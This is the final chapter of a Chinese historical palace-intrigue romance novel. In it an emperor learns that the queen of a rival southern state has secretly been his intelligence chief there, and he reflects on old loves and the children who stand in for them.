    “因为爹爹在临行前,与阿紫单独说的,他说这是他此生最成功的一次谋划。连聪明如娘亲成婚前都给骗了。娘也单独来同阿紫讲,说受了委屈便找叔父来,叔父陛下会疼阿紫的。”南魏紫说完躺下睡着。


    萧承言愣住,一时没反应过来。瞧着南魏紫已然闭上了眼睛,安安静静的睡着。忽而起身离开。回寝殿的路上抬头仰望星空。


    “天府星主吗?白昼而分,芜儿你生辰是秋日。你这是转过年来转挑了春分之时吗?我们瞧时令,他们信星卜,到底是谁谋划了谁呢?”萧承言轻声呢喃,却没回寝宫,而是去了御书房。里侧墙上正挂一先皇亲笔姚黄魏紫之画。写下一张纸条:命简清明明日入宫见驾。


    卷成一条,抬起盘龙把手,投了下去。


    临朝早散,简清明已候在书房,萧承言只问:“南境主帅到底是谁?”


    简清明一时未答。


    “简清明,朕问,你为何不答?是难以启齿还是有所顾虑?朕问过多次,往昔你都未曾正面答朕。不是说她过往如何万里挑一,敏慧机变助人脱围化险为夷,便是道战绩斐然机密无失。如今朕知,她可信、聪敏、武绝、爱国。朕今日只想求个名字。”


    “常芜。现,南国皇后。便是臣安堂手下,南境主事。一切南境人等,尽归调遣。”


    “何时?何时收编的?她......入宫时?还是......”萧承言声音微颤。


    “您与常衡离开南国之后,她不知如何直接自寻到了我们南国总部,点名我之身份,我才知她如此聪慧。她让我当机决断,要么即刻杀了她再起战火要么让我传话先帝。‘与其窥计不如造计,打探不如直接当家做主。让我们助她谋位,日后南国尽归麾下,岂非不是长治久安之法。’臣本想给她身份信物以证身份,但她说不必,天下皆知她身份。且寻常之物易丢,她便请能工之匠纹于身上,终日可见。便如她之身份,知也,遮也。”


    萧承言其后无言,起身去瞧南魏紫,抱她于城楼看景。瞧着她跑远......


    萧承言再对南国方向默语。南儿、东儿。你是真替南国人谋断,还是想将南国真的收入麾下?东国早被南国吞入腹中,你却送了半个东儿而来。送女未送子,到底是何意呀?还是只为借她之口告诉我,你成了?你成为南国半个主人?这便是你给我看的你的能力吗?告知我若是当初选你,是否萧氏早已一统?


    看向远处的小小人儿,朕那么多皇子,为何紫儿最喜唤七哥。是你刻意教的,还是她真的欢喜?或是我格外在意?


    我们总以成为位高者便可呼风唤雨,弥补从前所失,不过只是饮鸩止渴罢了,旧人早逝,不过都是朦胧而替,寻缘不得。若紫儿是你,七儿是我,他们真能替我们终续前缘吗?不过都是我们所盼,圆我们之梦,罢了。


    二世正缘完结。